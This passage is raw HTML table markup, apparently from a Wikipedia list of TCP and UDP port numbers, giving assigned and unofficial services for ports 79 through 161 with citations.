(vettcp)<sup id=\"cite_ref-rfc6335_3-24\" class=\"reference\"><a href=\"#cite_note-rfc6335-3\">&#91;3&#93;</a></sup>\n</td></tr>\n<tr>\n<td>79</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Finger_protocol\" class=\"mw-redirect\" title=\"Finger protocol\">Finger protocol</a><sup id=\"cite_ref-apple-kb-HT202944_11-10\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup><sup id=\"cite_ref-rfc742_46-0\" class=\"reference\"><a href=\"#cite_note-rfc742-46\">&#91;46&#93;</a></sup><sup id=\"cite_ref-rfc1288_47-0\" class=\"reference\"><a href=\"#cite_note-rfc1288-47\">&#91;47&#93;</a></sup>\n</td></tr>\n<tr>\n<td>80</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes<sup id=\"cite_ref-rfc4960_12-5\" class=\"reference\"><a href=\"#cite_note-rfc4960-12\">&#91;12&#93;</a></sup></td>\n<td>\n</td>\n<td><a href=\"/wiki/Hypertext_Transfer_Protocol\" title=\"Hypertext Transfer Protocol\">Hypertext Transfer Protocol</a> (HTTP)<sup id=\"cite_ref-rfc7230_48-0\" class=\"reference\"><a href=\"#cite_note-rfc7230-48\">&#91;48&#93;</a></sup><sup id=\"cite_ref-rfc7540_49-0\" class=\"reference\"><a href=\"#cite_note-rfc7540-49\">&#91;49&#93;</a></sup> uses TCP in versions 1.x and 2. <a href=\"/wiki/HTTP/3\" title=\"HTTP/3\">HTTP/3</a> uses <a href=\"/wiki/QUIC\" title=\"QUIC\">QUIC</a>,<sup id=\"cite_ref-quic_50-0\" class=\"reference\"><a href=\"#cite_note-quic-50\">&#91;50&#93;</a></sup> a transport protocol on top of UDP.\n</td></tr>\n<tr>\n<td>81</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/TorPark\" class=\"mw-redirect\" title=\"TorPark\">TorPark</a> <a href=\"/wiki/Onion_routing\" title=\"Onion routing\">onion routing</a><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Verifiability\" title=\"Wikipedia:Verifiability\"><span title=\"The material near this tag needs to be fact-checked with the cited source(s). (October 2016)\">verification needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>82</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>xfer (XFER Utility)<sup id=\"cite_ref-rfc6335_3-25\" class=\"reference\"><a href=\"#cite_note-rfc6335-3\">&#91;3&#93;</a></sup>\n</td></tr>\n<tr>\n<td>82</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>TorPark control<sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Verifiability\" title=\"Wikipedia:Verifiability\"><span title=\"The material near this tag needs to be fact-checked with the cited source(s). (October 2016)\">verification needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>83</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>mit-ml-dev (MIT ML Device)<sup id=\"cite_ref-rfc6335_3-26\" class=\"reference\"><a href=\"#cite_note-rfc6335-3\">&#91;3&#93;</a></sup>\n</td></tr>\n<tr>\n<td>84</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>ctf (Common Trace Facility)<sup id=\"cite_ref-rfc6335_3-27\" class=\"reference\"><a href=\"#cite_note-rfc6335-3\">&#91;3&#93;</a></sup>\n</td></tr>\n<tr>\n<td>85</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>mit-ml-dev (MIT ML Device)<sup id=\"cite_ref-rfc6335_3-28\" class=\"reference\"><a href=\"#cite_note-rfc6335-3\">&#91;3&#93;</a></sup>\n</td></tr>\n<tr>\n<td>86</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>mfcobol (Micro Focus Cobol)<sup id=\"cite_ref-rfc6335_3-29\" class=\"reference\"><a href=\"#cite_note-rfc6335-3\">&#91;3&#93;</a></sup>\n</td></tr>\n<tr>\n<td>88</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Kerberos_(protocol)\" title=\"Kerberos (protocol)\">Kerberos</a><sup id=\"cite_ref-apple-kb-HT202944_11-11\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup><sup id=\"cite_ref-rfc1510_51-0\" class=\"reference\"><a href=\"#cite_note-rfc1510-51\">&#91;51&#93;</a></sup><sup id=\"cite_ref-rfc4120_52-0\" class=\"reference\"><a href=\"#cite_note-rfc4120-52\">&#91;52&#93;</a></sup> authentication system\n</td></tr>\n<tr>\n<td>89</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>su-mit-tg\t(SU/MIT Telnet Gateway)<sup id=\"cite_ref-rfc6335_3-30\" class=\"reference\"><a href=\"#cite_note-rfc6335-3\">&#91;3&#93;</a></sup>\n</td></tr>\n<tr>\n<td>90</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>dnsix\t(DNSIX Security Attribute Token Map)<sup id=\"cite_ref-rfc6335_3-31\" class=\"reference\"><a href=\"#cite_note-rfc6335-3\">&#91;3&#93;</a></sup>\n</td></tr>\n<tr>\n<td>90</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/PointCast_(dotcom)\" class=\"mw-redirect\" title=\"PointCast (dotcom)\">PointCast (dotcom)</a><sup id=\"cite_ref-IANA_2-5\" class=\"reference\"><a href=\"#cite_note-IANA-2\">&#91;2&#93;</a></sup>\n</td></tr>\n<tr>\n<td>91</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>mit-dov (MIT Dover Spooler)<sup id=\"cite_ref-rfc6335_3-32\" class=\"reference\"><a href=\"#cite_note-rfc6335-3\">&#91;3&#93;</a></sup>\n</td></tr>\n<tr>\n<td>92</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>npp (Network Printing Protocol)<sup id=\"cite_ref-rfc6335_3-33\" class=\"reference\"><a href=\"#cite_note-rfc6335-3\">&#91;3&#93;</a></sup>\n</td></tr>\n<tr>\n<td>93</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>dcp (Device Control Protocol)<sup id=\"cite_ref-rfc6335_3-34\" class=\"reference\"><a href=\"#cite_note-rfc6335-3\">&#91;3&#93;</a></sup>\n</td></tr>\n<tr>\n<td>94</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>objcall (Tivoli Object Dispatcher)<sup id=\"cite_ref-rfc6335_3-35\" class=\"reference\"><a href=\"#cite_note-rfc6335-3\">&#91;3&#93;</a></sup>\n</td></tr>\n<tr>\n<td>95</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>SUPDUP, terminal-independent remote login<sup id=\"cite_ref-53\" class=\"reference\"><a href=\"#cite_note-53\">&#91;53&#93;</a></sup>\n</td></tr>\n<tr>\n<td>96</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>dixie (DIXIE Protocol Specification)<sup id=\"cite_ref-rfc6335_3-36\" class=\"reference\"><a href=\"#cite_note-rfc6335-3\">&#91;3&#93;</a></sup>\n</td></tr>\n<tr>\n<td>97</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>swift-rvf (Swift Remote Virtual File Protocol)<sup id=\"cite_ref-rfc6335_3-37\" class=\"reference\"><a href=\"#cite_note-rfc6335-3\">&#91;3&#93;</a></sup>\n</td></tr>\n<tr>\n<td>98</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>tacnews (TAC News)<sup id=\"cite_ref-rfc6335_3-38\" class=\"reference\"><a href=\"#cite_note-rfc6335-3\">&#91;3&#93;</a></sup>\n</td></tr>\n<tr>\n<td>99</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>metagram (Metagram Relay)<sup id=\"cite_ref-rfc6335_3-39\" class=\"reference\"><a href=\"#cite_note-rfc6335-3\">&#91;3&#93;</a></sup>\n</td></tr>\n<tr>\n<td>101</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/History_of_the_Internet#NIC,_InterNIC,_IANA,_and_ICANN\" title=\"History of the Internet\">NIC</a> <a href=\"/wiki/Hostname\" title=\"Hostname\">host name</a><sup id=\"cite_ref-rfc953_54-0\" class=\"reference\"><a href=\"#cite_note-rfc953-54\">&#91;54&#93;</a></sup>\n</td></tr>\n<tr>\n<td>102</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/International_Organization_for_Standardization\" title=\"International Organization for Standardization\">ISO</a> Transport Service Access Point (<a href=\"/wiki/TSAP\" class=\"mw-redirect\" title=\"TSAP\">TSAP</a>) Class 0 protocol;<sup id=\"cite_ref-rfc983_55-0\" class=\"reference\"><a href=\"#cite_note-rfc983-55\">&#91;55&#93;</a></sup><sup id=\"cite_ref-rfc1006_56-0\" class=\"reference\"><a href=\"#cite_note-rfc1006-56\">&#91;56&#93;</a></sup>\n</td></tr>\n<tr>\n<td>104</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Digital_Imaging_and_Communications_in_Medicine\" class=\"mw-redirect\" title=\"Digital Imaging and Communications in Medicine\">Digital Imaging and Communications in Medicine</a> (DICOM; also port 11112)\n</td></tr>\n<tr>\n<td>105</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/CCSO_Nameserver\" title=\"CCSO Nameserver\">CCSO Nameserver</a><sup id=\"cite_ref-rfc2378_57-0\" class=\"reference\"><a href=\"#cite_note-rfc2378-57\">&#91;57&#93;</a></sup>\n</td></tr>\n<tr>\n<td>106</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/MacOS_Server\" title=\"MacOS Server\">macOS Server</a>, (macOS) password server<sup id=\"cite_ref-apple-kb-HT202944_11-12\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td>107</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Rtelnet\" title=\"Rtelnet\">Remote User Telnet Service</a> (RTelnet)<sup id=\"cite_ref-rfc818_58-0\" class=\"reference\"><a href=\"#cite_note-rfc818-58\">&#91;58&#93;</a></sup>\n</td></tr>\n<tr>\n<td>108</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>IBM <a href=\"/wiki/Systems_Network_Architecture\" title=\"Systems Network Architecture\">Systems Network Architecture</a> (SNA) gateway access server\n</td></tr>\n<tr>\n<td>109</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Post_Office_Protocol\" title=\"Post Office Protocol\">Post Office Protocol</a>, version 2 (POP2)<sup id=\"cite_ref-rfc937_59-0\" class=\"reference\"><a href=\"#cite_note-rfc937-59\">&#91;59&#93;</a></sup>\n</td></tr>\n<tr>\n<td>110</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>Post Office Protocol, version 3 (POP3)<sup id=\"cite_ref-apple-kb-HT202944_11-13\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup><sup id=\"cite_ref-rfc1081_60-0\" class=\"reference\"><a href=\"#cite_note-rfc1081-60\">&#91;60&#93;</a></sup><sup id=\"cite_ref-rfc1939_61-0\" class=\"reference\"><a href=\"#cite_note-rfc1939-61\">&#91;61&#93;</a></sup>\n</td></tr>\n<tr>\n<td>111</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Open_Network_Computing_Remote_Procedure_Call\" class=\"mw-redirect\" title=\"Open Network Computing Remote Procedure Call\">Open Network Computing Remote Procedure Call</a> (ONC RPC, sometimes referred to as Sun RPC)\n</td></tr>\n<tr>\n<td rowspan=\"2\">113\n</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Ident_protocol\" title=\"Ident protocol\">Ident</a>, authentication service/identification protocol,<sup id=\"cite_ref-apple-kb-HT202944_11-14\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup><sup id=\"cite_ref-rfc1413_62-0\" class=\"reference\"><a href=\"#cite_note-rfc1413-62\">&#91;62&#93;</a></sup> used by <a href=\"/wiki/Internet_Relay_Chat\" title=\"Internet Relay Chat\">IRC</a> servers to identify users\n</td></tr>\n<tr>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>Authentication Service (auth), the predecessor to <i>identification protocol</i>. Used to determine a user's identity of a particular TCP connection.<sup id=\"cite_ref-rfc931_63-0\" class=\"reference\"><a href=\"#cite_note-rfc931-63\">&#91;63&#93;</a></sup>\n</td></tr>\n<tr>\n<td>115</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Simple_File_Transfer_Protocol\" class=\"mw-redirect\" title=\"Simple File Transfer Protocol\">Simple File Transfer Protocol</a><sup id=\"cite_ref-rfc913_64-0\" class=\"reference\"><a href=\"#cite_note-rfc913-64\">&#91;64&#93;</a></sup>\n</td></tr>\n<tr>\n<td>117</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/UUCP_Mapping_Project\" class=\"mw-redirect\" title=\"UUCP Mapping Project\">UUCP Mapping Project</a> (path service)<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (October 2016)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>118</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Structured Query Language (<a href=\"/wiki/SQL\" title=\"SQL\">SQL</a>) Services<sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Manual_of_Style#Technical_language\" title=\"Wikipedia:Manual of Style\"><span title=\"The material near this tag may be using jargon that limits the article&#39;s accessibility. (October 2016)\">jargon</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>119</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Network_News_Transfer_Protocol\" title=\"Network News Transfer Protocol\">Network News Transfer Protocol</a> (NNTP),<sup id=\"cite_ref-apple-kb-HT202944_11-15\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup> retrieval of newsgroup messages<sup id=\"cite_ref-rfc977_65-0\" class=\"reference\"><a href=\"#cite_note-rfc977-65\">&#91;65&#93;</a></sup><sup id=\"cite_ref-rfc3977_66-0\" class=\"reference\"><a href=\"#cite_note-rfc3977-66\">&#91;66&#93;</a></sup>\n</td></tr>\n<tr>\n<td>123</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Network_Time_Protocol\" title=\"Network Time Protocol\">Network Time Protocol</a> (NTP), used for time synchronization<sup id=\"cite_ref-apple-kb-HT202944_11-16\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td>126</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Formerly <a href=\"/wiki/Unisys\" title=\"Unisys\">Unisys</a> Unitary Login, renamed by Unisys to NXEdit. Used by Unisys Programmer's Workbench for Clearpath MCP, an IDE for <a href=\"/wiki/Unisys_MCP_programming_languages\" class=\"mw-redirect\" title=\"Unisys MCP programming languages\">Unisys MCP software development</a>\n</td></tr>\n<tr>\n<td rowspan=\"2\">135\n</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Distributed_Computing_Environment\" title=\"Distributed Computing Environment\">DCE</a> <a href=\"/wiki/Communication_endpoint\" title=\"Communication endpoint\">endpoint</a> resolution\n</td></tr>\n<tr>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Microsoft\" title=\"Microsoft\">Microsoft</a> EPMAP (End Point Mapper), also known as DCE/<a href=\"/wiki/Remote_procedure_call\" title=\"Remote procedure call\">RPC</a> Locator service,<sup id=\"cite_ref-67\" class=\"reference\"><a href=\"#cite_note-67\">&#91;67&#93;</a></sup> used to remotely manage services including <a href=\"/wiki/DHCP_server\" class=\"mw-redirect\" title=\"DHCP server\">DHCP server</a>, <a href=\"/wiki/Domain_Name_System\" title=\"Domain Name System\">DNS</a> server and <a href=\"/wiki/Windows_Internet_Name_Service\" title=\"Windows Internet Name Service\">WINS</a>. Also used by <a href=\"/wiki/Distributed_Component_Object_Model\" title=\"Distributed Component Object Model\">DCOM</a>\n</td></tr>\n<tr>\n<td>137</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/NetBIOS\" title=\"NetBIOS\">NetBIOS</a> Name Service, used for name registration and <a href=\"/wiki/Name_resolution_(computer_systems)\" title=\"Name resolution (computer systems)\">resolution</a><sup id=\"cite_ref-rfc1001_68-0\" class=\"reference\"><a href=\"#cite_note-rfc1001-68\">&#91;68&#93;</a></sup><sup id=\"cite_ref-rfc1002_69-0\" class=\"reference\"><a href=\"#cite_note-rfc1002-69\">&#91;69&#93;</a></sup>\n</td></tr>\n<tr>\n<td>138</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>NetBIOS Datagram Service<sup id=\"cite_ref-apple-kb-HT202944_11-17\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup><sup id=\"cite_ref-rfc1001_68-1\" class=\"reference\"><a href=\"#cite_note-rfc1001-68\">&#91;68&#93;</a></sup><sup id=\"cite_ref-rfc1002_69-1\" class=\"reference\"><a href=\"#cite_note-rfc1002-69\">&#91;69&#93;</a></sup>\n</td></tr>\n<tr>\n<td>139</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>NetBIOS Session Service<sup id=\"cite_ref-rfc1001_68-2\" class=\"reference\"><a href=\"#cite_note-rfc1001-68\">&#91;68&#93;</a></sup><sup id=\"cite_ref-rfc1002_69-2\" class=\"reference\"><a href=\"#cite_note-rfc1002-69\">&#91;69&#93;</a></sup>\n</td></tr>\n<tr>\n<td>143</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Internet_Message_Access_Protocol\" title=\"Internet Message Access Protocol\">Internet Message Access Protocol</a> (IMAP),<sup id=\"cite_ref-apple-kb-HT202944_11-18\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup> management of <a href=\"/wiki/Email\" title=\"Email\">electronic mail</a> messages on a server<sup id=\"cite_ref-rfc3501_70-0\" class=\"reference\"><a href=\"#cite_note-rfc3501-70\">&#91;70&#93;</a></sup>\n</td></tr>\n<tr>\n<td>151</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Energy_management_system\" title=\"Energy management system\">HEMS</a>\n</td></tr>\n<tr>\n<td>152</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/w/index.php?title=Background_File_Transfer_Program&amp;action=edit&amp;redlink=1\" class=\"new\" title=\"Background File Transfer Program (page does not exist)\">Background File Transfer Program</a> (BFTP)<sup id=\"cite_ref-rfc1068_71-0\" class=\"reference\"><a href=\"#cite_note-rfc1068-71\">&#91;71&#93;</a></sup><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:What_Wikipedia_is_not#Encyclopedic_content\" title=\"Wikipedia:What Wikipedia is not\"><span title=\"The material preceding this tag may lack sufficient importance. (October 2016)\">importance?</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>153</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Simple_Gateway_Monitoring_Protocol\" title=\"Simple Gateway Monitoring Protocol\">Simple Gateway Monitoring Protocol</a> (SGMP), a protocol for remote inspection and alteration of gateway management information<sup id=\"cite_ref-rfc1028_72-0\" class=\"reference\"><a href=\"#cite_note-rfc1028-72\">&#91;72&#93;</a></sup>\n</td></tr>\n<tr>\n<td>156</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Structured Query Language (<a href=\"/wiki/SQL\" title=\"SQL\">SQL</a>) Service<sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Manual_of_Style#Technical_language\" title=\"Wikipedia:Manual of Style\"><span title=\"The material near this tag may be using jargon that limits the article&#39;s accessibility. (October 2016)\">jargon</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>158</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/w/index.php?title=Distributed_Mail_System_Protocol&amp;action=edit&amp;redlink=1\" class=\"new\" title=\"Distributed Mail System Protocol (page does not exist)\">Distributed Mail System Protocol</a> (DMSP, sometimes referred to as Pcmail)<sup id=\"cite_ref-rfc1056_73-0\" class=\"reference\"><a href=\"#cite_note-rfc1056-73\">&#91;73&#93;</a></sup><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:What_Wikipedia_is_not#Encyclopedic_content\" title=\"Wikipedia:What Wikipedia is not\"><span title=\"The material preceding this tag may lack sufficient importance. (October 2016)\">importance?</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>161</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Simple_Network_Management_Protocol\" title=\"Simple 